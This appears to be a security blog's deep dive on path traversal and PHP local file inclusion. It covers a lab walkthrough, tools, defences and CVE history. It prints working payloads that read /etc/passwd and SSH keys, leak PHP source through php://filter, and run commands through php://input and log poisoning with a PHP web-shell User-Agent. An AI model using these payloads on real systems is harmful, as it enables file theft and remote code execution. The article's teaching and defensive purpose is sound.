Path traversal is a web vulnerability where user input carrying ../ sequences reaches a file path, letting an attacker read files outside the intended directory: ?file=../../../../etc/passwd. It is catalogued as CWE-22, inside the A01 Broken Access Control bucket of the OWASP Top 10.
In PHP land, traversal is the front door to a chain that reads source, then writes source, then runs code, all from a single GET parameter and a forgiving php.ini.
I find path traversal in more engagements than I would expect to in 2026. Every time I think the class is solved, the next code review turns up another include($_GET['page']) sitting in a corner of the codebase where a junior was told to be careful.
This article is the deep dive companion to the web application security vulnerabilities taxonomy and a sibling to the SQL injection spoke. I cover the mechanism, the four exploit shapes that actually matter in 2026, a fully-working walkthrough against a Dockerised lab, the variants in non-PHP stacks, the tools I use to test for LFI, and the defences that hold up.
What is path traversal?
Path traversal is a vulnerability in which user-supplied input is concatenated into a filesystem path that the application then opens, allowing the user to step outside the intended directory using relative-path segments like ../ and read files the developer never meant to expose. The most common payload, ../../../../etc/passwd, escapes a docroot or templates directory and lands on the Unix password file.
Three terms get used interchangeably and they are not the same:
- Path traversal (CWE-22). The generic class. Any time user input controls a filesystem path and
../can escape the intended root. - Local File Inclusion (LFI). A PHP-flavoured subclass where the path is passed to
include,require,include_once, orrequire_once. The file is not just read, it is interpreted as PHP. If the attacker can get PHP source onto the box (log poisoning, upload, wrapper), LFI turns into code execution. - Remote File Inclusion (RFI). The same sink, but the include path is a URL. Effectively extinct in modern PHP because
allow_url_includedefaults to Off, but it lives on in legacy configs and in CTF challenges.
OWASP places traversal under A01 Broken Access Control rather than as its own item, which understates how often I find it during code review. Verify against the OWASP Top 10 2021 listing yourself; the 2024 refresh is still in draft at the time of writing.
The canonical vulnerable PHP, two lines:
$page = $_GET['page'];
include($page);Hit it with ?page=pages/about.php and the application works as intended. Hit it with ?page=../../../../etc/passwd and the application reads /etc/passwd. There is no third interpretation; the parser is doing exactly what was written.
The four exploit shapes
Every traversal exploit I have shipped against a real engagement falls into one of four shapes. Three of them are PHP-specific and chain to RCE. The fourth is the cross-stack baseline.
Classic ../ traversal
The original shape. The application reads the file and serves the bytes. Useful for reading config, credentials, source (if the file is served raw rather than interpreted), application metadata, SSH keys if you are lucky and the web user has access.
GET /download?file=../../../../etc/passwd
GET /view?template=../../../../var/www/app/.env
GET /image?path=../../../../home/deploy/.ssh/id_rsa
The number of ../ segments is "as many as needed". A request that goes too high just lands at / and the filesystem ignores the surplus, so ../../../../../../../../etc/passwd works as well as the exact count. Lazy traversal payloads always over-shoot for that reason.
php://filter source disclosure
PHP ships a set of stream wrappers for include and the filesystem functions, and the php://filter wrapper accepts a chain of filters applied to the underlying file before it is read. The interesting filter is convert.base64-encode:
GET /view.php?page=php://filter/convert.base64-encode/resource=index
include() is handed a stream that base64-encodes the file index.php as it reads. Because the bytes coming out are no longer valid PHP source, the engine cannot parse them as code; it falls back to echoing them as if they were plain text, and the response contains a base64 blob. Decode it locally and you have the verbatim source. Repeat against every script you can guess (view, login, db, config, wp-config) and you walk away with the application source plus every credential hard-coded in it.
This shape works against sinks that the classic shape cannot defeat. The most common one is include($_GET['page'] . '.php'), where the appended .php blocks a literal /etc/passwd read but is happily consumed by the wrapper as part of the resource= argument.
The common hardening advice "set allow_url_fopen=Off and you are safe from the wrappers" is wrong and has been since the wrappers shipped. allow_url_fopen gates the URL-aware fetchers (http://, https://, ftp://); php://filter is a stream wrapper over the local file API, not a network fetch, so the directive does not touch it (the same is true of php://input and file://; data:// is the exception, since PHP lists it as restricted by both allow_url_fopen and allow_url_include). open_basedir is similarly weak against source disclosure: the high-value target is the application's own PHP source, which is inside the docroot and therefore inside open_basedir by definition. The wrapper happily reads it.
The iconv filter family has turned the wrapper into more than a read primitive. CVE-2024-2961 (disclosed by Ambionics in April 2024) is an out-of-bounds write in glibc's iconv ISO-2022-CN-EXT converter that PHP exposes through php://filter/convert.iconv.*; chained onto any LFI sink it becomes a memory-corruption primitive that public exploit kits turned into RCE against PHP on glibc distros (fixed in glibc 2.40, but verify against the NVD entry). Any file-read primitive that can drive a filter chain is therefore potentially an RCE sink, not just a disclosure one.
There is no flag that "turns off php://filter"; the wrapper is part of the core build. Beyond fixing the sink (the allow-list below), the hard engine-level option is to unregister the dangerous wrappers per request:
foreach (['php', 'data', 'phar', 'expect'] as $w) {
if (in_array($w, stream_get_wrappers(), true)) {
@stream_wrapper_unregister($w);
}
}Run it at the top of every entry point and a vulnerable sink can no longer resolve php://filter/.... The cost is that legitimate uses of php://memory and php://temp (common in libraries) break, so test against the full suite first.
php://input RCE
The php://input wrapper exposes the raw request body as a stream. include('php://input') reads the POST body and parses it as PHP. With allow_url_include=On enabled in php.ini, an unauthenticated attacker gets code execution from one GET parameter plus one POST body.
POST /view-raw.php?page=php://input
Body: <?php system($_GET[0]); ?>
The default value of allow_url_include is Off, and PHP has shipped that default since 5.2 (see the PHP runtime configuration reference). Production servers that have not been hand-tampered with are safe from this specific shape by default. The shape still appears in the wild because operators flip the setting on while debugging a legitimate use case, never flip it back, and leave the server in that state for years.
Three preconditions have to line up, and the one most writeups skip is that the wrapper path must match literally. php://input is recognised only when the string passed to include() is exactly php://input. A sink shaped like include($_GET['page'] . '.php') constructs php://input.php, which is not a wrapper the runtime recognises, so the include falls through to the filesystem and the chain dies. This is the mirror image of php://filter: the suffix-appending sink that resists php://input is the one php://filter defeats (its target rides inside the resource= argument), and the raw sink that php://input needs is the one a classic ../ read also works against. Assuming "if php://filter worked, php://input will too" is a recurring rookie mistake.
| Sink shape | page=php://input becomes | chain |
|---|---|---|
include($_GET['page']) | php://input | works |
include($_GET['page'] . '.php') | php://input.php | fails |
The chain is also POST-only: the wrapper reads the body of the current request, and a GET has no body, so the source code must arrive as the request body. And allow_url_include is a distinct directive from allow_url_fopen: the input-wrapper RCE needs only allow_url_include=On (the input stream is request-local, not a network fetch), so disable both independently. The smallest confirmation payload is <?php phpinfo(); ?> as the body; if the response renders the phpinfo() table, the wrapper fired and the table also confirms allow_url_include = On in its directive section.
Log poisoning
Log poisoning is the fallback when allow_url_include is Off, php://input does not work, and you still want RCE. The idea is to write PHP source onto disk via a path the attacker controls, then include that file with a classic traversal.
The two reliable write surfaces are the Apache or nginx access log and the error log. Both record the User-Agent header verbatim. Send a request with a PHP tag as the user agent:
curl -A '<?php system($_GET[0]); ?>' http://target/
The access log now contains a real <?php block. Read it back with a traversal:
GET /view-raw.php?page=../../../../var/log/apache2/access.log&0=id
include() reaches the PHP tag inside the log file, parses it, and runs the system($_GET[0]) call with the attacker's chosen command. Variants of the same trick work against /var/log/apache2/error.log (poisoned via a 404 request whose URL contains PHP), /proc/self/environ on older kernels, the $HOME/.ssh/authorized_keys file when the web user happens to be the SSH user, and any session file the application writes to a known directory.
Log poisoning fails by default on modern Debian and Ubuntu because Apache writes access logs as 0640 root:adm and the www-data user is not in the adm group. Every "let the deploy user tail the logs from the debug dashboard" change to that ACL re-opens the chain. I have seen this exact misconfiguration in three different production environments in 2024 alone.
Two gotchas decide whether the chain fires in a modern deployment. The first is the official php:8.2-apache / php:8.3-apache base images, which symlink the Apache logs to the container's stdout and stderr (access.log -> /dev/stdout) so docker logs picks up traffic. /dev/stdout resolves to a character device, not a regular file, so include('/var/log/apache2/access.log') follows the symlink to the device and reads nothing back as PHP: the chain silently fails on a stock image. Real deployments that route logs to a disk file (syslog, a bind-mounted log directory, a sidecar shipper) are vulnerable; the stock image as-is is not. The LFI tutorials that assume a plain log file on disk are quietly wrong about containerised targets.
The User-Agent is the easiest write surface but not the only one. The Referer header is logged the same way; a 404 whose URL path contains URL-encoded PHP tags writes the decoded bytes into both the access and error logs; /proc/self/environ carries the CGI-translated User-Agent on older mod_php setups; and session files, mail/cron/auth logs, and uploaded .txt files are all candidates if the attacker can write to them and the PHP process can read them. One operational catch: logrotate runs daily, so if rotation fires between the poison and the include, the tag is now in access.log.1 (include that file directly, or re-poison and include within the same minute).
The architecture-level fix that closes the class is a log forwarder: ship logs off the box via syslog, journald-remote, Vector or Fluent Bit so the local log is ephemeral and there is no long-lived disk file to poison. Pair that with keeping www-data out of the adm group (the only reason to add it is "let the app read system logs", which is an architectural smell), not loosening the Debian 0640 root:adm default, and the ID-to-path allow-list at the sink.
Why null bytes don't work anymore
Pre-2010 LFI tutorials lean heavily on the null-byte truncation trick: append %00 to the payload to terminate the C-level string before PHP could append the .php suffix, turning include($_GET['page'] . '.php') into a working classic traversal. That trick was killed by PHP 5.3.4, released on December 9, 2010, which added null-byte rejection in the core filename APIs (further extensions to the check across exec, system, move_uploaded_file, and related functions landed across the 5.6.x series in 2015). Any path containing a \0 byte now raises an error rather than being silently truncated.
Verify against the PHP 5.3.4 changelog yourself before relying on the date in your own writing.
Everything that followed in this article exists because the wrappers became the modern equivalent of the null byte. php://filter defeats the same suffix-append sink that %00 used to defeat, and it has no equivalent fix in the language because the wrapper is a legitimate feature.
Walk a working chain (lab)
For everything below, I am attacking the lfi-basic target from the techearl-labs companion repo. It is a small PHP 8.2 app with two intentionally-vulnerable include sinks side by side, deliberately configured with allow_url_include=On and display_errors=On. Boot it with:
docker compose up lfi-basicThe lab listens on http://localhost:8084. The two endpoints differ in one detail that drives every exploit decision below:
| Endpoint | Sink shape |
|---|---|
/view.php?page=pages/about | include($_GET['page'] . '.php'), .php is appended |
/view-raw.php?page=pages/about.php | include($_GET['page']), raw, no suffix |
1. Classic traversal against the raw sink
view-raw.php passes the parameter straight through. Plain ../ works:
curl 'http://localhost:8084/view-raw.php?page=../../../../etc/passwd'The response renders /etc/passwd inline inside the page panel. Files with no <?php opening tag are echoed by include(), which is why the password file comes back as plain text rather than being parsed.
The same payload against /view.php fails. The engine looks for /etc/passwd.php, finds nothing, and the warning surfaces in the response (because display_errors=On). The suffix is doing its only useful job.
2. php://filter source disclosure against the suffix sink
view.php appends .php, so the wrapper has to compose with the suffix:
curl 'http://localhost:8084/view.php?page=php://filter/convert.base64-encode/resource=pages/about'The wrapper opens pages/about.php (the appended .php rides along inside the resource= argument), pipes it through the base64 encoder, and the include echoes the encoded source. Pipe through base64 -d to recover the original:
curl -s 'http://localhost:8084/view.php?page=php://filter/convert.base64-encode/resource=pages/about' \
| grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -dRepeat for resource=view, resource=view-raw, resource=shared/layout to pull every PHP source file the application ships. Source disclosure is the highest-value LFI outcome short of code execution because it hands you every other endpoint's sink shape and every hard-coded credential in one pass.
3. php://input RCE against the raw sink
The wrapper only matches the literal path php://input, so the attack runs against view-raw.php (no suffix). Against view.php, the appended .php produces php://input.php, which the wrapper does not recognise.
curl -X POST --data '<?php echo shell_exec("id"); ?>' \
'http://localhost:8084/view-raw.php?page=php://input'The response carries the output of id, something like uid=33(www-data) gid=33(www-data) .... Any PHP runs, not just shell_exec: file writes, reverse shells, persistent webshells dropped into the docroot, database egress, anything the www-data process can do inside the container.
4. Log poisoning against the raw sink
The chain has two steps. Inject a PHP tag into the access log via the User-Agent of any request:
curl -A '<?php system($_GET[0]); ?>' http://localhost:8084/Include the log via traversal, passing the command in ?0=:
curl 'http://localhost:8084/view-raw.php?page=../../../../var/log/apache2/access.log&0=id'The log contains thousands of bytes of unrelated request lines, but the moment the parser sees <?php system($_GET[0]); ?> it switches into PHP mode, runs the call, switches back to literal-output mode, and the response carries the command output along with the rest of the log.
The lab's Dockerfile deliberately adds www-data to the adm group so the 0640 root:adm access log is readable by PHP. Without that change the chain fails with permission-denied; with it, it succeeds. The misconfiguration mirrors what real "let the web app tail its own logs" deployments do.
Beyond PHP: traversal in other stacks
The PHP-specific shapes (php://filter, php://input, log-poisoning-via-include) do not port to other stacks because no other runtime evaluates included files as code. The classic traversal shape does. Every framework that constructs a path from user input is potentially vulnerable.
Node.js
The footgun is path.join and friends. path.join happily resolves .. segments and lets you escape the base directory:
app.get('/files/:name', (req, res) => {
const file = path.join('/var/www/uploads', req.params.name);
res.sendFile(file);
});GET /files/..%2F..%2F..%2Fetc%2Fpasswd resolves to /etc/passwd. The fix is path.resolve plus a prefix check, not path.join:
const base = path.resolve('/var/www/uploads');
const target = path.resolve(base, req.params.name);
if (!target.startsWith(base + path.sep)) return res.sendStatus(403);
res.sendFile(target);Express's static middleware blocks .. segments by default, but custom send handlers and any direct fs.readFile call with user input are at risk.
Java
The classic Java instance is the "zip slip" vulnerability disclosed by Snyk in 2018, where archive entries with ../ in the name escape the extraction directory:
File target = new File(destDir, entry.getName());
new FileOutputStream(target).write(...);A malicious archive entry named ../../../../etc/cron.d/pwn lands wherever the running user has write access. Fix:
File target = new File(destDir, entry.getName()).getCanonicalFile();
if (!target.toPath().startsWith(destDir.toPath())) {
throw new IOException("zip slip: " + entry.getName());
}getCanonicalFile() resolves .. segments and symlinks before the prefix check; getAbsoluteFile() does not, which is why the lazy fix loses.
.NET
Path.Combine is the equivalent of Node's path.join and has the same defect, except worse: if the second argument is an absolute path, Path.Combine discards the first argument entirely and returns the second. Path.Combine("/var/www/uploads", "/etc/passwd") returns /etc/passwd. The defence is Path.GetFullPath plus a prefix check, identical in shape to the Node.js pattern. Modern guidance on Microsoft Learn pushes Path.GetFullPath with an explicit base, which validates inputs as it resolves.
The class is the same across every stack. The interpreter changes, the syntax changes, the trust failure does not.
Tools for testing LFI and path traversal
The tools I actually reach for on an authorised engagement, in rough order of how often I use them. My flow: ffuf with SecLists for discovery, LFImap against any candidate parameter, LFISuite when LFImap confirms an inclusion but cannot reach useful disclosure, and PayloadsAllTheThings open in a tab throughout.
| Tool | Licence | Maintained | Best for |
|---|---|---|---|
| LFImap | Apache-2.0 | Active (pre-alpha) | The modern default: wrapper chains, RCE detection, clean output |
| LFISuite | GPLv3 | Stale but functional | PHP wrappers, log poisoning, RFI, HTTP tunnel mode |
| dotdotpwn | GPLv3 | Stale (last release 2016) | Traversal fuzzing across HTTP, FTP, TFTP |
| ffuf + SecLists | MIT | Active | Wordlist-driven discovery on every engagement |
| Burp Suite (Pro) | Commercial | Active | Manual Repeater work, Intruder grids, Collaborator |
| kadimus | MIT | Archived (Oct 2020) | Fast php://filter source disclosure on legacy PHP |
| PayloadsAllTheThings | MIT | Very active | The canonical File Inclusion payload reference |

LFImap. Automates LFI detection and exploitation the way sqlmap automates SQLi: GET and POST parameter testing, encoded and double-encoded traversal variants, PHP wrapper chains (php://filter, php://input, data://, expect://), and log-poisoning probes. Wrapper support is first-class, so the php://filter chain is one flag rather than a copy-paste. Output is grep-friendly, and the first run does not blast thousands of payloads; you opt into intensity. Its weak spots are a smaller community and no tamper-script ecosystem, so WAF evasion is still manual encoding work.

LFISuite. The older bag of tricks: scanner, exploiter, and a tunnel mode that turns a confirmed inclusion into a pseudo-shell over HTTP. It covers techniques newer scanners skip (expect://, phar://, /proc/self/environ, mail-log poisoning) plus RFI when allow_url_include is on. Parts of the code are Python 2 era, so expect to fight the install (a venv usually works), and its interactive output is harder to script than LFImap's.

dotdotpwn. A Perl traversal fuzzer that generates a large permutation set of ../ sequences (URL, double URL, UTF-8 overlong, backslash, null-byte) against OS-specific files (/etc/passwd, boot.ini, win.ini), across HTTP, FTP, and TFTP. It is the only tool here that fuzzes FTP and TFTP traversal out of the box, and its payload list is worth dumping into ffuf or Burp Intruder. It generates a lot of traffic by default, so tune depth before pointing it anywhere.

ffuf with SecLists. Not an LFI scanner, but the discovery layer for every engagement. Pair the Go fuzzer with the SecLists Fuzzing/LFI/ wordlists (LFI-LFISuite-pathtotest-huge.txt and LFI-Jhaddix.txt are still the right starting points) and filter by status, size, word count, or regex. It has no wrapper logic: you supply the payload, it sends the request. A typical run against a lab target:
ffuf -u 'https://target.example.com/page.php?file=FUZZ' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt \
-mc 200 -fs 0
Burp Suite. The platform every LFI engagement runs on: Repeater to confirm a maybe-inclusion one byte at a time, Intruder (Pro) for payload grids, and Collaborator (Pro) as the realistic listener for out-of-band exfiltration. Community Intruder is rate-limited to the point of uselessness for real fuzzing, and the Pro licence is around 500 USD per user per year.

kadimus. A C-based scanner, archived since October 2020, that still runs the php://filter/convert.base64-encode chain and a handful of known RCE paths (data, input, /proc/self/environ) in one shot. A single binary is handy on a constrained jump host; coverage is narrow next to LFImap.

PayloadsAllTheThings. Not a tool, but the reference the tools quietly copy from: wrapper variants, encoding bypasses, log-poisoning vectors, and interesting paths on Linux and Windows. A few entries are dated, so cross-check anything untouched for two years.
What I skip. Random PHP and Python "LFI scanner" scripts on GitHub (a curl loop around a payload list, no wrapper handling, some with dubious telemetry; ffuf does the job better), abandoned 2010s Perl LFI tools beyond dotdotpwn's payload generator, "all-in-one pentest GUIs" that wrap an out-of-date scanner, old fimap-class scanners, and standalone log-poisoning helpers now that every modern scanner bundles those payloads.
Modern defences
Resolve and prefix-check
The single most important defence is to resolve the requested path to its canonical form and then check it is inside the allowed directory. In PHP that is realpath:
$base = realpath(__DIR__ . '/pages');
$target = realpath($base . '/' . $_GET['page']);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
http_response_code(403);
exit('Forbidden');
}
include($target);realpath returns false for paths that do not exist, which closes the "file does not exist yet but the parent directory check passed" race window. The str_starts_with prefix check with the trailing separator stops the /srv/pages-evil/ versus /srv/pages/ confusion, where the legitimate base is a prefix of an attacker-controlled sibling directory.
Allow-list of known IDs
Better: do not let user input become a path at all. Map an opaque ID to a known file:
$pages = [
'about' => '/srv/app/pages/about.php',
'contact' => '/srv/app/pages/contact.php',
];
$key = $_GET['page'] ?? 'about';
if (!isset($pages[$key])) { http_response_code(404); exit; }
include($pages[$key]);This is the only design that is correct by construction. The user controls a key into a map, not a filesystem path. Adding a page is one line in the array, which is cheap enough that I reach for this pattern by default.
Disable dangerous PHP directives
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /srv/app:/tmp
display_errors = Off
log_errors = Onallow_url_include=Off kills the php://input RCE chain outright. allow_url_fopen=Off removes the network-fetch shapes. open_basedir confines filesystem access to an allow-listed set of directories, blocking the traversal even if the application sink is broken. None of these defences cover php://filter against the local docroot, which is why they are layered with the prefix check, not a replacement for it.
Separate file-serving service
For applications that genuinely serve user-uploaded files, the strongest pattern is a separate microservice (or a CDN with signed URLs) that holds nothing but the upload bucket and serves files by content-addressed identifier. The application hands the user a signed URL pointing at the service; the service has no relationship to the application's filesystem and no traversal sink. This is how every mature SaaS handles user uploads at scale.
Chroot and container isolation
Running the web process inside a chroot or a container with a minimal filesystem means a successful traversal lands the attacker inside a sandbox with nothing valuable in it. A read of /etc/passwd returns the container's stub /etc/passwd, not the host's. Combine with read-only root, no shell binaries, and dropped capabilities (CAP_DAC_READ_SEARCH in particular) and even a chained RCE has very little to do.
Real-world incidents (CVE section)
Path traversal hits well-maintained software regularly. A representative sample, all verified against the public CVE record:
- CVE-2021-41773, Apache HTTP Server 2.4.49. Path traversal in URL handling, allowing requests to reach files outside the document root if directories were configured with
Require all granted. Disclosed and patched in October 2021. The fix in 2.4.50 was incomplete, leading to CVE-2021-42013 a week later that also extended the impact to RCE whenmod_cgiwas enabled. - CVE-2021-42013, Apache HTTP Server 2.4.49 and 2.4.50. The follow-up to 41773, exploitable via double-encoding of the traversal sequence. The Apache foundation rated it Critical for the RCE variant.
- CVE-2024-23897, Jenkins. Arbitrary file read via the built-in CLI command parser, which expanded
@filenamearguments. Disclosed January 2024. Without Overall/Read permission, attackers could read the first three lines of any file readable by the Jenkins controller; with Overall/Read, the full file contents. Real exploitation chained the file-read into SSH key disclosure and lateral movement. - CVE-2023-2825, GitLab CE/EE. Path traversal in the file upload handler, allowing an unauthenticated user to read arbitrary files from the GitLab server when an attachment was in a public project nested deep enough. Disclosed May 2023 (NVD published 2023-05-26), affecting GitLab CE/EE 16.0.0 only; GitLab released 16.0.1 shortly after.
- CVE-2019-19781, Citrix ADC and Gateway. Path traversal in the Citrix VPN appliance reaching a Perl template that the attacker could write to, chaining traversal into unauthenticated RCE. The 2019 disclosure landed without a patch for ten days and was mass-exploited.
Every one of these landed in software with security teams, code review, and bug-bounty programs. Path traversal is not a museum piece.
realpath() resolves .. segments and symlinks but it does not enforce that the resolved path is inside the directory you intended. The defence is realpath() plus an explicit prefix check (str_starts_with with a trailing separator) against the resolved base directory. The prefix check is the part that actually stops the escape; realpath() is what makes the check meaningful by normalising the path first.php://input used as the target of include(), which only happens when an application is already vulnerable to path traversal and the operator has flipped allow_url_include to On. The wrapper itself is not the problem; the include sink plus the unsafe directive is.%2e%2e%2f, %252e%252e%252f, UTF-8 overlong encodings, ....// which collapses to ../ after a single normalisation pass) defeat naive blacklists. Even a correct blacklist does not catch the php://filter shape, which never contains a ... Block-listing is the wrong shape of defence for this class. Resolve the path and check the resolved location.imagick, certain bundled SQLite paths, race conditions with realpath caching). Treat open_basedir as defence in depth that raises the cost of exploitation, not as a primary defence. The primary defence is still the prefix check at the sink.allow_url_include directive, which has defaulted to Off since PHP 5.2. RFI is effectively dead in modern deployments; LFI is alive and well..php extension (so ../../../etc/passwd fails) but it does not block the php://filter wrapper, which composes with the suffix as part of its resource= argument. Worse, the suffix can give a false sense of security to the operator who added it. Do the prefix-check defence properly and the suffix becomes irrelevant.include, require, file_get_contents, fopen, readfile, SplFileObject in PHP; fs.readFile, fs.createReadStream, res.sendFile in Node; new File(), FileInputStream, Files.readAllBytes in Java. For each match, trace the path argument back to its source. If any path of execution lets user input reach the sink without a resolve-and-prefix-check, you have traversal.Where to go next
- The LFI and path traversal tools section above for the practical tool comparison.
- The SQL injection deep dive for the sibling spoke in the same security cluster.
- The web application security vulnerabilities taxonomy for the full map.
Path traversal is the cheapest serious vulnerability to introduce (two lines of PHP, one line of Node) and one of the cheaper ones to fix (one resolve plus one prefix check). The reason it survives is not that the fix is hard, it is that the sinks are scattered across the codebase and every "let the user pick a file" feature is a fresh chance to get it wrong. Treat every filesystem path that touches user input as untrusted, every time.
Sources
Authoritative references this article was fact-checked against.
- ffuf wiki, Recursiongithub.com
- PHP manual, data:// wrapperphp.net
- php-src, php:// wrapper (allow_url_include check for includes)github.com
- OWASP, Path Traversalowasp.org
- PHP, Supported protocols and wrappersphp.net
- PortSwigger, Directory traversalportswigger.net
- CWE-22: Improper Limitation of a Pathname to a Restricted Directorycwe.mitre.org
- PHP, allow_url_include directivephp.net
- PHP, convert filtersphp.net
- Apache, log fileshttpd.apache.org
- LFISuite, official repositorygithub.com
- LFImap, official repositorygithub.com
- dotdotpwn, official repositorygithub.com
- ffuf, official repositorygithub.com
- PayloadsAllTheThings, File Inclusion sectionswisskyrepo.github.io





